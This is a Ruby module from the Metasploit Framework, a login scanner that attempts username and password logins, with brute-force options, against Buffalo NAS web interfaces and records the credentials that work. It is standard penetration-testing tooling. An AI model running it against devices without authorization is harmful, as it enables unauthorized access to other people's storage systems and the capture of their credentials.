rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/buffalo'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute

  def initialize
    super(
      'Name'           => 'Buffalo NAS Login Utility',
      'Description'    => %q{
        This module simply attempts to login to a Buffalo NAS instance using a specific
        username and password. It has been confirmed to work on version 1.68
      },
      'Author'         => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ],
      'License'        => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(80)
      ])

    deregister_options('PASSWORD_SPRAY')
  end

  def run_host(ip)
    cred_collection = build_credential_collection(
      username: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )

    scanner = Metasploit::Framework::LoginScanner::Buffalo.new(
      configure_http_login_scanner(
        cred_details: cred_collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
        connection_timeout: 10,
        http_username: datastore['HttpUsername'],
        http_password: datastore['HttpPassword']
      )
    )

    scanner.scan! do |result|
      credential_data = result.to_h
      credential_data.merge!(
        module_fullname: fullname,
        workspace_id: myworkspace_id
      )
      if result.success?
        credential_core = create_credential(credential_data)
        credential_data[:core] = credential_core
        create_credential_login(credential_data)

        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
      else
        invalidate_login(credential_data)
        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
      end
    end
  end
end